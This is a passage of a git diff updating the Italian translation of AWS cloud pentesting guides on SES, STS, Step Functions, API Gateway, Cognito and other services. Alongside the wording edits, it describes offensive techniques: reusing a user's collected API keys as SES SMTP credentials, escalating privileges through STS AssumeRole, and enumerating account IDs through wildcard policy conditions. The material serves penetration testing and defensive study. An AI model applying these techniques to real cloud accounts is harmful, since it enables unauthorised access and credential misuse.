Potenziale:** Visibilità oscura sugli eventi di sicurezza, difficoltà nel processo di risposta agli incidenti e facilitazione di attività malevole nascoste all'interno degli ambienti protetti da AWS WAF. #### **`wafv2:DeleteAPIKey`** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 323a141d7..8f89f4d5d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -23,7 +23,7 @@ Amazon Simple Email Service (Amazon SES) è progettato per **inviare e ricevere ] } ``` -Poi, raccogli la **chiave API e il segreto** dell'utente e esegui: +Quindi, raccogli la **chiave API e il segreto** dell'utente e esegui: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter @@ -35,7 +35,7 @@ chmod u+x ./ses-smtp-conv.sh ### Enumerazione > [!WARNING] -> Nota che SES ha 2 API: **`ses`** e **`sesv2`**. Alcune azioni sono in entrambe le API e altre sono solo in una delle due. +> Nota che SES ha 2 API: **`ses`** e **`sesv2`**. Alcune azioni sono presenti in entrambe le API e altre sono solo in una delle due. ```bash # Get info about the SES account aws sesv2 get-account diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index d3e2b7866..5e269015f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,14 +4,14 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) è descritto come un **servizio di messaggistica completamente gestito**. Supporta sia i tipi di comunicazione **applicazione-a-applicazione** (A2A) che **applicazione-a-persona** (A2P). +Amazon Simple Notification Service (Amazon SNS) è descritto come un **servizio di messaggistica completamente gestito**. Supporta sia i tipi di comunicazione **application-to-application** (A2A) che **application-to-person** (A2P). -Le caratteristiche chiave per la comunicazione A2A includono i **meccanismi di pubblicazione/sottoscrizione (pub/sub)**. Questi meccanismi introducono **argomenti**, cruciali per abilitare un messaggistica **push-based** ad alta capacità, **molti-a-molti**. Questa funzionalità è altamente vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate su eventi. Sfruttando questi argomenti, i sistemi di pubblicazione possono distribuire messaggi in modo efficiente a un **ampio numero di sistemi di sottoscrizione**, facilitando un modello di messaggistica fanout. +Le caratteristiche chiave per la comunicazione A2A includono i **meccanismi di pubblicazione/sottoscrizione (pub/sub)**. Questi meccanismi introducono **argomenti**, cruciali per abilitare messaggi **push-based** ad alta capacità, **many-to-many**. Questa funzionalità è altamente vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate su eventi. Sfruttando questi argomenti, i sistemi di pubblicazione possono distribuire messaggi in modo efficiente a un **ampio numero di sistemi di sottoscrizione**, facilitando un modello di messaggistica fanout. ### **Differenza con SQS** -**SQS** è un servizio **basato su coda** che consente comunicazione punto-a-punto, garantendo che i messaggi siano elaborati da un **singolo consumatore**. Offre **consegna almeno una volta**, supporta code standard e FIFO, e consente la retention dei messaggi per ripetizioni e elaborazione ritardata.\ -D'altra parte, **SNS** è un servizio **basato su pubblicazione/sottoscrizione**, che consente comunicazione **uno-a-molti** trasmettendo messaggi a **più sottoscrittori** simultaneamente. Supporta **vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS**, e fornisce meccanismi di filtraggio per la consegna mirata dei messaggi.\ +**SQS** è un servizio **basato su coda** che consente comunicazioni punto a punto, garantendo che i messaggi siano elaborati da un **singolo consumatore**. Offre **consegna almeno una volta**, supporta code standard e FIFO, e consente la retention dei messaggi per ripetizioni e elaborazione ritardata.\ +D'altra parte, **SNS** è un servizio **basato su pubblicazione/sottoscrizione**, che consente comunicazioni **one-to-many** trasmettendo messaggi a **più sottoscrittori** simultaneamente. Supporta **vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS**, e fornisce meccanismi di filtraggio per la consegna mirata dei messaggi.\ Sebbene entrambi i servizi consentano il disaccoppiamento tra i componenti nei sistemi distribuiti, SQS si concentra sulla comunicazione in coda, mentre SNS enfatizza i modelli di comunicazione basati su eventi e fan-out. ### **Enumerazione** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 3d4fb4a44..46302b0d4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) è presentato come un **servizio di messaggistica completamente gestito**. La sua funzione principale è quella di assistere nella scalabilità e nel disaccoppiamento di microservizi, sistemi distribuiti e applicazioni serverless. Il servizio è progettato per rimuovere la necessità di gestire e operare middleware orientato ai messaggi, che può spesso essere complesso e richiedere molte risorse. Questa eliminazione della complessità consente agli sviluppatori di concentrare i loro sforzi su aspetti più innovativi e differenzianti del loro lavoro. +Amazon Simple Queue Service (SQS) è presentato come un **servizio di messaggistica completamente gestito**. La sua funzione principale è quella di assistere nella scalabilità e nel disaccoppiamento di microservizi, sistemi distribuiti e applicazioni serverless. Il servizio è progettato per eliminare la necessità di gestire e operare middleware orientato ai messaggi, che può spesso essere complesso e richiedere molte risorse. Questa eliminazione della complessità consente agli sviluppatori di concentrare i loro sforzi su aspetti più innovativi e differenzianti del loro lavoro. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 6b5660287..c420e053d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -13,11 +13,11 @@ AWS Step Functions è un servizio di workflow che ti consente di coordinare e or AWS Step Functions offre due tipi di **workflow a macchina a stati**: Standard ed Express. - **Workflow Standard**: Questo tipo di workflow predefinito è progettato per processi a lungo termine, durevoli e auditabili. Supporta l'**esecuzione esattamente una volta**, garantendo che i compiti vengano eseguiti solo una volta a meno che non siano specificati i tentativi. È ideale per workflow che necessitano di una cronologia di esecuzione dettagliata e può durare fino a un anno. -- **Workflow Express**: Questo tipo è ideale per compiti ad alto volume e breve durata, che durano fino a cinque minuti. Supportano l'**esecuzione almeno una volta**, adatta per compiti idempotenti come l'elaborazione dei dati. Questi workflow sono ottimizzati per costi e prestazioni, addebitando in base alle esecuzioni, alla durata e all'uso della memoria. +- **Workflow Express**: Questo tipo è ideale per compiti ad alto volume e breve durata, con una durata massima di cinque minuti. Supportano l'**esecuzione almeno una volta**, adatta per compiti idempotenti come l'elaborazione dei dati. Questi workflow sono ottimizzati per costi e prestazioni, addebitando in base alle esecuzioni, alla durata e all'uso della memoria. ### Stati -Gli stati sono le unità essenziali delle macchine a stati. Definiscono i singoli passaggi all'interno di un workflow, essendo in grado di eseguire una varietà di funzioni a seconda del loro tipo: +Gli stati sono le unità essenziali delle macchine a stati. Definiscono i singoli passaggi all'interno di un workflow, potendo eseguire una varietà di funzioni a seconda del tipo: - **Task:** Esegue un lavoro, spesso utilizzando un servizio AWS come Lambda. - **Choice:** Prende decisioni basate sull'input. @@ -69,9 +69,9 @@ Esempio di stato **Choice**: ``` ### Fail/Succeed -Uno stato **`Fail`** interrompe l'esecuzione di una macchina a stati e la segna come un fallimento. Viene utilizzato per specificare un nome di errore e una causa, fornendo dettagli sul fallimento. Questo stato è terminale, il che significa che termina il flusso di esecuzione. +Uno stato **`Fail`** ferma l'esecuzione di una macchina a stati e la segna come un fallimento. Viene utilizzato per specificare un nome di errore e una causa, fornendo dettagli sul fallimento. Questo stato è terminale, il che significa che termina il flusso di esecuzione. -Uno stato **`Succeed`** interrompe l'esecuzione con successo. Viene tipicamente utilizzato per terminare il flusso di lavoro quando viene completato con successo. Questo stato non richiede un campo **`Next`**. +Uno stato **`Succeed`** ferma l'esecuzione con successo. Viene tipicamente utilizzato per terminare il flusso di lavoro quando completa con successo. Questo stato non richiede un campo **`Next`**. {{#tabs }} {{#tab name="Fail example" }} @@ -95,7 +95,7 @@ Uno stato **`Succeed`** interrompe l'esecuzione con successo. Viene tipicamente ### Pass -Uno stato **Pass** passa il suo input al suo output senza eseguire alcun lavoro o trasformando l'input dello stato JSON utilizzando filtri, e poi passando i dati trasformati al prossimo stato. È utile per testare e costruire macchine di stato, permettendoti di iniettare dati statici o trasformarli. +Uno stato **Pass** passa il suo input al suo output senza eseguire alcun lavoro o trasformando l'input dello stato JSON utilizzando filtri, e poi passando i dati trasformati al prossimo stato. È utile per testare e costruire macchine a stati, permettendo di iniettare dati statici o trasformarli. ```json "PassState": { "Type": "Pass", @@ -104,9 +104,9 @@ Uno stato **Pass** passa il suo input al suo output senza eseguire alcun lavoro "Next": "NextState" } ``` -### Wait +### Aspetta -Uno stato di **Wait** ritarda l'esecuzione della macchina a stati per una durata specificata. Ci sono tre metodi principali per configurare il tempo di attesa: +Uno stato di **Aspetta** ritarda l'esecuzione della macchina a stati per una durata specificata. Ci sono tre metodi principali per configurare il tempo di attesa: - **X Secondi**: Un numero fisso di secondi da attendere. @@ -139,11 +139,11 @@ jsonCopiar código } ``` -### Parallel +### Parallelo -Uno stato di **Parallel** consente di eseguire più rami di attività in modo concorrente all'interno del tuo flusso di lavoro. Ogni ramo viene eseguito in modo indipendente e elabora la propria sequenza di stati. L'esecuzione attende fino al completamento di tutti i rami prima di procedere allo stato successivo. I suoi campi chiave sono: +Uno stato di **Parallelo** consente di eseguire più rami di attività contemporaneamente all'interno del tuo flusso di lavoro. Ogni ramo viene eseguito in modo indipendente e elabora la propria sequenza di stati. L'esecuzione attende fino al completamento di tutti i rami prima di procedere allo stato successivo. I suoi campi chiave sono: -- **Branches**: Un array che definisce i percorsi di esecuzione paralleli. Ogni ramo è una macchina a stati separata. +- **Rami**: Un array che definisce i percorsi di esecuzione paralleli. Ogni ramo è una macchina a stati separata. - **ResultPath**: Definisce dove (nell'input) posizionare l'output combinato dei rami. - **Retry e Catch**: Configurazioni di gestione degli errori per lo stato parallelo. ```json @@ -234,14 +234,14 @@ Uno stato **Map** consente l'esecuzione di un insieme di passaggi per ogni eleme ### Versioni e alias -Step Functions consente anche di gestire le distribuzioni dei flussi di lavoro attraverso **versioni** e **alias** delle macchine a stati. Una versione rappresenta uno snapshot di una macchina a stati che può essere eseguita. Gli alias fungono da puntatori a un massimo di due versioni di una macchina a stati. +Step Functions consente anche di gestire le distribuzioni dei flussi di lavoro attraverso **versioni** e **alias** delle macchine a stati. Una versione rappresenta uno snapshot di una macchina a stati che può essere eseguito. Gli alias fungono da puntatori a un massimo di due versioni di una macchina a stati. - **Versioni**: Questi snapshot immutabili di una macchina a stati vengono creati dalla revisione più recente di quella macchina a stati. Ogni versione è identificata da un ARN unico che combina l'ARN della macchina a stati con il numero di versione, separati da due punti (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Le versioni non possono essere modificate, ma è possibile aggiornare la macchina a stati e pubblicare una nuova versione, o utilizzare la versione desiderata della macchina a stati. - **Alias**: Questi puntatori possono fare riferimento a un massimo di due versioni della stessa macchina a stati. Possono essere creati più alias per una singola macchina a stati, ciascuno identificato da un ARN unico costruito combinando l'ARN della macchina a stati con il nome dell'alias, separati da due punti (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Gli alias consentono il routing del traffico tra una delle due versioni di una macchina a stati. In alternativa, un alias può puntare a una singola versione specifica della macchina a stati, ma non ad altri alias. Possono essere aggiornati per reindirizzare a una versione diversa della macchina a stati secondo necessità, facilitando distribuzioni controllate e gestione dei flussi di lavoro. Per ulteriori informazioni dettagliate su **ASL**, controlla: [**Amazon States Language**](https://states-language.net/spec.html). -## Ruoli IAM per le macchine a stati +## Ruoli IAM per macchine a stati AWS Step Functions utilizza i ruoli di AWS Identity and Access Management (IAM) per controllare l'accesso alle risorse e alle azioni all'interno delle macchine a stati. Ecco gli aspetti chiave relativi alla sicurezza e ai ruoli IAM in AWS Step Functions: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index d523c7d4c..b540fb669 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,7 +4,7 @@ ## STS -**AWS Security Token Service (STS)** è principalmente progettato per emettere **credenziali temporanee e con privilegi limitati**. Queste credenziali possono essere richieste per **AWS Identity and Access Management (IAM)** utenti o per utenti autenticati (utenti federati). +**AWS Security Token Service (STS)** è principalmente progettato per emettere **credenziali temporanee e con privilegi limitati**. Queste credenziali possono essere richieste per utenti di **AWS Identity and Access Management (IAM)** o per utenti autenticati (utenti federati). Dato che lo scopo di STS è **emettere credenziali per impersonificazione dell'identità**, il servizio è immensamente prezioso per **l'escalation dei privilegi e il mantenimento della persistenza**, anche se potrebbe non avere una vasta gamma di opzioni. @@ -12,7 +12,7 @@ Dato che lo scopo di STS è **emettere credenziali per impersonificazione dell'i L'azione [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) fornita da AWS STS è cruciale in quanto consente a un principale di acquisire credenziali per un altro principale, impersonandolo essenzialmente. Al momento dell'invocazione, risponde con un ID chiave di accesso, una chiave segreta e un token di sessione corrispondente all'ARN specificato. -Per i Tester di Penetrazione o i membri del Red Team, questa tecnica è strumentale per l'escalation dei privilegi (come elaborato [**qui**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Tuttavia, vale la pena notare che questa tecnica è piuttosto evidente e potrebbe non sorprendere un attaccante. +Per i Penetration Tester o i membri del Red Team, questa tecnica è strumentale per l'escalation dei privilegi (come elaborato [**qui**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Tuttavia, vale la pena notare che questa tecnica è piuttosto evidente e potrebbe non sorprendere un attaccante. #### Logica del Ruolo Assunto @@ -32,7 +32,7 @@ Per assumere un ruolo nello stesso account se il **ruolo da assumere consente sp ] } ``` -Il ruolo **`priv-role`** in questo caso, **non ha bisogno di essere specificamente autorizzato** ad assumere quel ruolo (con quella autorizzazione è sufficiente). +Il ruolo **`priv-role`** in questo caso, **non deve essere specificamente autorizzato** ad assumere quel ruolo (con quella autorizzazione è sufficiente). Tuttavia, se un ruolo consente a un account di assumerlo, come in: ```json @@ -50,9 +50,9 @@ Tuttavia, se un ruolo consente a un account di assumerlo, come in: ] } ``` -Il ruolo che si sta cercando di assumere avrà bisogno di un **permesso `sts:AssumeRole` specifico** su quel ruolo **per assumerlo**. +Il ruolo che si sta cercando di assumere avrà bisogno di un **permesso specifico `sts:AssumeRole`** su quel ruolo **per assumerlo**. -Se si tenta di assumere un **ruolo** **da un altro account**, il **ruolo assunto deve consentirlo** (indicando l'**ARN** del ruolo o l'**account esterno**), e il **ruolo che sta cercando di assumere** l'altro **DEVE** avere **permessi per assumerlo** (in questo caso non è opzionale anche se il ruolo assunto specifica un ARN). +Se si tenta di assumere un **ruolo** **da un altro account**, il **ruolo assunto deve consentirlo** (indicando il **ARN** del ruolo o l'**account esterno**), e il **ruolo che sta cercando di assumere** l'altro **DEVE** avere i **permessi per assumerlo** (in questo caso non è opzionale anche se il ruolo assunto specifica un ARN). ### Enumerazione ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 28f3a6d58..70f5efe99 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -1,18 +1,18 @@ -# AWS - EventBridge Scheduler Enum +# AWS - Enumerazione del Programmatore EventBridge -## EventBridge Scheduler +## Programmatore EventBridge {{#include ../../../banners/hacktricks-training.md}} -## EventBridge Scheduler +## Programmatore EventBridge -**Amazon EventBridge Scheduler** è un scheduler **serverless completamente gestito progettato per creare, eseguire e gestire attività** su larga scala. Ti consente di pianificare milioni di attività attraverso oltre 270 servizi AWS e oltre 6.000 operazioni API, tutto da un servizio centrale. Con affidabilità integrata e senza infrastruttura da gestire, EventBridge Scheduler semplifica la pianificazione, riduce i costi di manutenzione e si scala automaticamente per soddisfare la domanda. Puoi configurare espressioni cron o di frequenza per pianificazioni ricorrenti, impostare invocazioni una tantum e definire finestre di consegna flessibili con opzioni di ripetizione, garantendo che le attività vengano consegnate in modo affidabile in base alla disponibilità degli obiettivi downstream. +**Amazon EventBridge Scheduler** è un programmatore completamente gestito e **senza server progettato per creare, eseguire e gestire attività** su larga scala. Ti consente di pianificare milioni di attività su oltre 270 servizi AWS e oltre 6.000 operazioni API, tutto da un servizio centrale. Con affidabilità integrata e senza infrastruttura da gestire, EventBridge Scheduler semplifica la pianificazione, riduce i costi di manutenzione e si scala automaticamente per soddisfare la domanda. Puoi configurare espressioni cron o di frequenza per pianificazioni ricorrenti, impostare invocazioni una tantum e definire finestre di consegna flessibili con opzioni di ripetizione, garantendo che le attività vengano consegnate in modo affidabile in base alla disponibilità degli obiettivi downstream. C'è un limite iniziale di 1.000.000 di pianificazioni per regione per account. Anche la pagina ufficiale delle quote suggerisce: "Si consiglia di eliminare le pianificazioni una tantum una volta completate." ### Tipi di Pianificazioni -Tipi di Pianificazioni in EventBridge Scheduler: +Tipi di Pianificazioni nel Programmatore EventBridge: 1. **Pianificazioni una tantum** – Esegui un'attività a un orario specifico, ad esempio, 21 dicembre alle 7 AM UTC. 2. **Pianificazioni basate su frequenza** – Imposta attività ricorrenti in base a una frequenza, ad esempio, ogni 2 ore. @@ -21,11 +21,11 @@ Tipi di Pianificazioni in EventBridge Scheduler: Due meccanismi per gestire eventi non riusciti: 1. **Politica di Ripetizione** – Definisce il numero di tentativi di ripetizione per un evento non riuscito e per quanto tempo mantenerlo non elaborato prima di considerarlo un fallimento. -2. **Coda di Messaggi Non Elaborati (DLQ)** – Una coda standard Amazon SQS dove gli eventi non riusciti vengono consegnati dopo che i tentativi sono esauriti. Le DLQ aiutano nella risoluzione dei problemi con la tua pianificazione o il suo obiettivo downstream. +2. **Coda di Messaggi Non Elaborati (DLQ)** – Una coda standard Amazon SQS in cui gli eventi non riusciti vengono consegnati dopo che i tentativi sono esauriti. Le DLQ aiutano nella risoluzione dei problemi con la tua pianificazione o il suo obiettivo downstream. ### Obiettivi -Ci sono 2 tipi di obiettivi per uno scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), che sono comunemente usati e AWS li ha resi più facili da configurare, e [**universali (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), che possono essere utilizzati per chiamare qualsiasi API AWS. +Ci sono 2 tipi di obiettivi per un programmatore [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), che sono comunemente usati e AWS li ha resi più facili da configurare, e [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), che possono essere utilizzati per chiamare qualsiasi API AWS. **Obiettivi templated** supportano i seguenti servizi: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 566269fa0..f1f7b8947 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## Perdite di Credenziali AWS -Un modo comune per ottenere accesso o informazioni su un account AWS è **cercare perdite**. Puoi cercare perdite utilizzando **google dorks**, controllando i **repo pubblici** dell'**organizzazione** e dei **lavoratori** dell'organizzazione su **Github** o altre piattaforme, cercando in **database di perdite di credenziali**... o in qualsiasi altra parte tu pensi di poter trovare informazioni sull'azienda e sulla sua infrastruttura cloud.\ +Un modo comune per ottenere accesso o informazioni su un account AWS è **cercare perdite**. Puoi cercare perdite utilizzando **google dorks**, controllando i **repo pubblici** dell'**organizzazione** e dei **lavoratori** dell'organizzazione su **Github** o altre piattaforme, cercando in **database di perdite di credenziali**... o in qualsiasi altra parte tu pensi di poter trovare informazioni sulla compagnia e sulla sua infrastruttura cloud.\ Alcuni **strumenti** utili: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -13,7 +13,7 @@ Alcuni **strumenti** utili: ## Enumerazione e Accesso Non Autenticato AWS -Ci sono diversi servizi in AWS che potrebbero essere configurati dando qualche tipo di accesso a tutto Internet o a più persone del previsto. Controlla qui come: +Ci sono diversi servizi in AWS che potrebbero essere configurati per dare qualche tipo di accesso a tutto Internet o a più persone del previsto. Controlla qui come: - [**Enumerazione Non Autenticata degli Account**](aws-accounts-unauthenticated-enum.md) - [**Enumerazione Non Autenticata di Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -36,7 +36,7 @@ Ci sono diversi servizi in AWS che potrebbero essere configurati dando qualche t ## Attacchi Cross Account -Nella conferenza [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) viene presentato come alcuni servizi consentano a qualsiasi account AWS di accedervi perché **i servizi AWS senza specificare l'ID degli account** erano consentiti. +Nella conferenza [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) viene presentato come alcuni servizi permettano a qualsiasi account AWS di accedervi perché **i servizi AWS senza specificare l'ID degli account** erano consentiti. Durante la conferenza specificano diversi esempi, come i bucket S3 **che consentono cloudtrail** (di **qualsiasi account AWS**) di **scrivere su di essi**: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 99838ffaa..265a108a5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Enumerazione Non Autenticata degli Account {{#include ../../../banners/hacktricks-training.md}} ## ID Account -Se hai un obiettivo, ci sono modi per cercare di identificare gli ID account degli account correlati all'obiettivo. +Se hai un obiettivo, ci sono modi per cercare di identificare gli ID degli account correlati all'obiettivo. ### Brute-Force @@ -24,7 +24,7 @@ Cerca url che contengono `.signin.aws.amazon.com` con un **alias relativo ### Marketplace -Se un venditore ha **istanze nel marketplace,** puoi ottenere l'ID del proprietario (ID account) dell'account AWS che ha utilizzato. +Se un fornitore ha **istanze nel marketplace,** puoi ottenere l'ID del proprietario (ID account) dell'account AWS che ha utilizzato. ### Snapshots @@ -32,11 +32,11 @@ Se un venditore ha **istanze nel marketplace,** puoi ottenere l'ID del proprieta - Snapshot RDS pubblici (RDS -> Snapshots -> All Public Snapshots) - AMI pubbliche (EC2 -> AMIs -> Public images) -### Errors +### Errori Molti messaggi di errore AWS (anche accesso negato) forniranno queste informazioni. -## References +## Riferimenti - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index cf47a0b51..fcae217d8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### Bypass dell'invocazione API -Secondo il talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), i Lambda Authorizers possono essere configurati **utilizzando la sintassi IAM** per dare permessi di invocare gli endpoint API. Questo è preso [**dalla documentazione**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +Secondo il talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), i Lambda Authorizers possono essere configurati **utilizzando la sintassi IAM** per concedere permessi per invocare gli endpoint API. Questo è preso [**dalla documentazione**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -23,7 +23,7 @@ Il problema con questo modo di dare permessi per invocare gli endpoint è che il Alcuni esempi: -- Una regola come `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` per dare a ciascun utente accesso a `/dashboard/user/{username}` darà loro accesso ad altre rotte come `/admin/dashboard/createAdmin`, per esempio. +- Una regola come `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` per dare a ciascun utente accesso a `/dashboard/user/{username}` darà loro accesso ad altri percorsi come `/admin/dashboard/createAdmin`, per esempio. > [!WARNING] > Nota che **"\*" non smette di espandersi con le barre**, quindi, se usi "\*" in api-id per esempio, potrebbe anche indicare "qualsiasi fase" o "qualsiasi metodo" purché la regex finale sia ancora valida.\ @@ -32,7 +32,7 @@ Alcuni esempi: Dovresti sempre avere chiaro cosa vuoi permettere di accedere e poi controllare se altri scenari sono possibili con i permessi concessi. -Per ulteriori informazioni, oltre alla [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), puoi trovare codice per implementare autorizzatori in [**questo github ufficiale aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Per ulteriori informazioni, oltre alla [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), puoi trovare codice per implementare autorizzatori in [**questo ufficiale aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). ### Iniezione di Politiche IAM @@ -44,8 +44,8 @@ https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` ### Ottieni l'ID dell'account dall'URL pubblico dell'API Gateway -Proprio come con i bucket S3, i gateway Data Exchange e Lambda URLs, è possibile trovare l'ID dell'account di un account abusando della **`aws:ResourceAccount`** **Policy Condition Key** da un URL pubblico dell'API Gateway. Questo viene fatto trovando l'ID dell'account un carattere alla volta abusando dei caratteri jolly nella sezione **`aws:ResourceAccount`** della policy.\ -Questa tecnica consente anche di ottenere **valori dei tag** se conosci la chiave del tag (ce ne sono alcune di default interessanti). +Proprio come con i bucket S3, Data Exchange e gli URL dei gateway Lambda, è possibile trovare l'ID dell'account di un account abusando della **`aws:ResourceAccount`** **Policy Condition Key** da un URL pubblico dell'API Gateway. Questo viene fatto trovando l'ID dell'account un carattere alla volta abusando dei caratteri jolly nella sezione **`aws:ResourceAccount`** della policy.\ +Questa tecnica consente anche di ottenere **valori dei tag** se conosci la chiave del tag (ce ne sono alcuni predefiniti interessanti). Puoi trovare ulteriori informazioni nella [**ricerca originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa sfruttamento. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 83a470961..11e7050d1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -22,7 +22,7 @@ Per alcune informazioni correlate, puoi controllare la pagina su come attaccare ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Eseguitori di GitHub Actions self-hosted in AWS CodeBuild +## Runners di GitHub Actions self-hosted in AWS CodeBuild Come [**indicato nella documentazione**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), è possibile configurare **CodeBuild** per eseguire **azioni Github self-hosted** quando un workflow viene attivato all'interno di un repository Github configurato. Questo può essere rilevato controllando la configurazione del progetto CodeBuild perché il **`Tipo di evento`** deve contenere: **`WORKFLOW_JOB_QUEUED`** e in un Workflow di Github perché selezionerà un runner **self-hosted** come questo: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index c9dcc7195..09ae39d39 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -14,20 +14,20 @@ Per informazioni di base su Cognito controlla: ### ID del Pool di Identità -I Pool di Identità possono concedere **ruoli IAM agli utenti non autenticati** che conoscono semplicemente **l'ID del Pool di Identità** (che è abbastanza comune **trovare**), e un attaccante con queste informazioni potrebbe provare ad **accedere a quel ruolo IAM** e sfruttarlo.\ +I Pool di Identità possono concedere **ruoli IAM agli utenti non 